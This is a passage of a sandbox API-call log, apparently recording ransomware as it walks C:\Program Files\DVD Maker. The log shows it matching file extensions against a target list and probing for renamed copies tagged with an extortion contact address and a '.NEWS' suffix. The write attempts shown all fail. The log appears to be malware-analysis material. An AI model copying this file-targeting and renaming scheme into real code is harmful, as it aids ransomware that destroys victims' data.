lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.666] lstrlenW (lpString=".doc") returned 4 [0215.666] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.666] lstrlenW (lpString=".docx") returned 5 [0215.666] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0215.666] lstrlenW (lpString=".pdf") returned 4 [0215.666] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.666] lstrlenW (lpString=".xls") returned 4 [0215.666] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.666] lstrlenW (lpString=".xlsx") returned 5 [0215.667] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0215.667] lstrlenW (lpString=".ppt") returned 4 [0215.667] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.667] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.667] lstrlenW (lpString=".zip") returned 4 [0215.667] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.667] lstrlenW (lpString=".rar") returned 4 [0215.667] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.667] lstrlenW (lpString=".bz2") returned 4 [0215.667] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.668] lstrlenW (lpString=".7z") returned 3 [0215.668] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.669] lstrlenW (lpString=".dbf") returned 4 [0215.669] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.669] lstrlenW (lpString=".1cd") returned 4 [0215.669] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.669] lstrlenW (lpString=".jpg") returned 4 [0215.669] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.670] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.670] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.670] lstrlenW (lpString=".doc") returned 4 [0215.670] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.671] lstrlenW (lpString=".docx") returned 5 [0215.671] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0215.671] lstrlenW (lpString=".pdf") returned 4 [0215.671] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.671] lstrlenW (lpString=".xls") returned 4 [0215.671] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.671] lstrlenW (lpString=".xlsx") returned 5 [0215.671] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0215.671] lstrlenW (lpString=".ppt") returned 4 [0215.671] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.671] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.672] lstrlenW (lpString=".zip") returned 4 [0215.672] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.672] lstrlenW (lpString=".rar") returned 4 [0215.672] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.674] lstrlenW (lpString=".bz2") returned 4 [0215.674] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.674] lstrlenW (lpString=".7z") returned 3 [0215.674] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.675] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.675] lstrlenW (lpString=".dbf") returned 4 [0215.675] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.675] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.675] lstrlenW (lpString=".1cd") returned 4 [0215.675] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.675] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png") returned 85 [0215.675] lstrlenW (lpString=".jpg") returned 4 [0215.675] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.676] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.676] lstrlenW (lpString="blackbars60.png") returned 15 [0215.676] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.680] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=6431) returned 1 [0215.681] CloseHandle (hObject=0x384) returned 1 [0215.681] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0215.681] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.681] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.682] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.682] lstrlenW (lpString=".doc") returned 4 [0215.682] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.682] lstrlenW (lpString=".docx") returned 5 [0215.684] lstrcmpiW (lpString1=".docx", lpString2="0.png") returned -1 [0215.684] lstrlenW (lpString=".pdf") returned 4 [0215.684] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.684] lstrlenW (lpString=".xls") returned 4 [0215.684] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.684] lstrlenW (lpString=".xlsx") returned 5 [0215.684] lstrcmpiW (lpString1=".xlsx", lpString2="0.png") returned -1 [0215.684] lstrlenW (lpString=".ppt") returned 4 [0215.684] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.684] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.684] lstrlenW (lpString=".zip") returned 4 [0215.685] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.685] lstrlenW (lpString=".rar") returned 4 [0215.685] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.685] lstrlenW (lpString=".bz2") returned 4 [0215.685] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.686] lstrlenW (lpString=".7z") returned 3 [0215.686] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.686] lstrlenW (lpString=".dbf") returned 4 [0215.686] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.686] lstrlenW (lpString=".1cd") returned 4 [0215.686] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.686] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.686] lstrlenW (lpString=".jpg") returned 4 [0215.686] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.687] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.687] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.687] lstrlenW (lpString=".doc") returned 4 [0215.687] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.687] lstrlenW (lpString=".docx") returned 5 [0215.687] lstrcmpiW (lpString1=".docx", lpString2="0.png") returned -1 [0215.687] lstrlenW (lpString=".pdf") returned 4 [0215.687] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.687] lstrlenW (lpString=".xls") returned 4 [0215.687] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.688] lstrlenW (lpString=".xlsx") returned 5 [0215.688] lstrcmpiW (lpString1=".xlsx", lpString2="0.png") returned -1 [0215.689] lstrlenW (lpString=".ppt") returned 4 [0215.689] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.689] lstrlenW (lpString=".zip") returned 4 [0215.689] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.689] lstrlenW (lpString=".rar") returned 4 [0215.689] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.689] lstrlenW (lpString=".bz2") returned 4 [0215.689] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.689] lstrlenW (lpString=".7z") returned 3 [0215.689] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.690] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.690] lstrlenW (lpString=".dbf") returned 4 [0215.690] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.690] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.690] lstrlenW (lpString=".1cd") returned 4 [0215.691] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.691] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned 73 [0215.691] lstrlenW (lpString=".jpg") returned 4 [0215.691] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.694] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.695] lstrlenW (lpString="layers.png") returned 10 [0215.695] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0215.696] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=24557) returned 1 [0215.696] CloseHandle (hObject=0x384) returned 1 [0215.696] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0215.696] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.696] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.697] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.697] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.697] lstrlenW (lpString=".doc") returned 4 [0215.697] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.697] lstrlenW (lpString=".docx") returned 5 [0215.697] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0215.697] lstrlenW (lpString=".pdf") returned 4 [0215.697] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.697] lstrlenW (lpString=".xls") returned 4 [0215.698] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.698] lstrlenW (lpString=".xlsx") returned 5 [0215.698] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0215.698] lstrlenW (lpString=".ppt") returned 4 [0215.699] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.699] lstrlenW (lpString=".zip") returned 4 [0215.699] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.699] lstrlenW (lpString=".rar") returned 4 [0215.699] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.699] lstrlenW (lpString=".bz2") returned 4 [0215.699] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.699] lstrlenW (lpString=".7z") returned 3 [0215.699] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.700] lstrlenW (lpString=".dbf") returned 4 [0215.700] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.701] lstrlenW (lpString=".1cd") returned 4 [0215.701] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.701] lstrlenW (lpString=".jpg") returned 4 [0215.701] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.701] lstrlenW (lpString=".doc") returned 4 [0215.701] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0215.701] lstrlenW (lpString=".docx") returned 5 [0215.702] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0215.702] lstrlenW (lpString=".pdf") returned 4 [0215.702] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0215.702] lstrlenW (lpString=".xls") returned 4 [0215.702] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0215.702] lstrlenW (lpString=".xlsx") returned 5 [0215.702] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0215.702] lstrlenW (lpString=".ppt") returned 4 [0215.702] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0215.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.702] lstrlenW (lpString=".zip") returned 4 [0215.702] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0215.702] lstrlenW (lpString=".rar") returned 4 [0215.703] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0215.703] lstrlenW (lpString=".bz2") returned 4 [0215.703] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0215.703] lstrlenW (lpString=".7z") returned 3 [0215.703] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0215.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.703] lstrlenW (lpString=".dbf") returned 4 [0215.703] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0215.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.707] lstrlenW (lpString=".1cd") returned 4 [0215.707] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0215.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned 68 [0215.707] lstrlenW (lpString=".jpg") returned 4 [0215.707] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0215.710] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0215.710] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0215.710] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.376] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5088) returned 1 [0216.376] CloseHandle (hObject=0x324) returned 1 [0216.377] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0216.602] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.607] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.611] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.611] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.611] lstrlenW (lpString=".doc") returned 4 [0216.611] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.611] lstrlenW (lpString=".docx") returned 5 [0216.611] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0216.612] lstrlenW (lpString=".pdf") returned 4 [0216.612] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.612] lstrlenW (lpString=".xls") returned 4 [0216.612] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.613] lstrlenW (lpString=".xlsx") returned 5 [0216.613] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0216.613] lstrlenW (lpString=".ppt") returned 4 [0216.613] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.613] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.613] lstrlenW (lpString=".zip") returned 4 [0216.613] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.613] lstrlenW (lpString=".rar") returned 4 [0216.613] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.613] lstrlenW (lpString=".bz2") returned 4 [0216.613] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.613] lstrlenW (lpString=".7z") returned 3 [0216.614] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.614] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.614] lstrlenW (lpString=".dbf") returned 4 [0216.614] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.614] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.614] lstrlenW (lpString=".1cd") returned 4 [0216.614] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.614] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.614] lstrlenW (lpString=".jpg") returned 4 [0216.614] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.615] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.615] lstrlenW (lpString=".doc") returned 4 [0216.615] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.615] lstrlenW (lpString=".docx") returned 5 [0216.615] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0216.615] lstrlenW (lpString=".pdf") returned 4 [0216.615] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.615] lstrlenW (lpString=".xls") returned 4 [0216.615] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.615] lstrlenW (lpString=".xlsx") returned 5 [0216.615] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0216.616] lstrlenW (lpString=".ppt") returned 4 [0216.616] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.616] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.616] lstrlenW (lpString=".zip") returned 4 [0216.616] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.616] lstrlenW (lpString=".rar") returned 4 [0216.616] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.616] lstrlenW (lpString=".bz2") returned 4 [0216.616] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.617] lstrlenW (lpString=".7z") returned 3 [0216.617] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.619] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.619] lstrlenW (lpString=".dbf") returned 4 [0216.619] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.619] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.619] lstrlenW (lpString=".1cd") returned 4 [0216.619] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.619] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned 90 [0216.619] lstrlenW (lpString=".jpg") returned 4 [0216.619] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.620] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0216.620] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0216.620] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0216.627] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3118) returned 1 [0216.627] CloseHandle (hObject=0x304) returned 1 [0216.629] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0216.629] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.630] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.630] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.630] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.630] lstrlenW (lpString=".doc") returned 4 [0216.630] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.630] lstrlenW (lpString=".docx") returned 5 [0216.630] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.630] lstrlenW (lpString=".pdf") returned 4 [0216.630] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.630] lstrlenW (lpString=".xls") returned 4 [0216.631] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.631] lstrlenW (lpString=".xlsx") returned 5 [0216.631] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.631] lstrlenW (lpString=".ppt") returned 4 [0216.631] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.631] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.631] lstrlenW (lpString=".zip") returned 4 [0216.631] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.631] lstrlenW (lpString=".rar") returned 4 [0216.631] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.632] lstrlenW (lpString=".bz2") returned 4 [0216.632] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.632] lstrlenW (lpString=".7z") returned 3 [0216.632] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.633] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.633] lstrlenW (lpString=".dbf") returned 4 [0216.633] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.633] lstrlenW 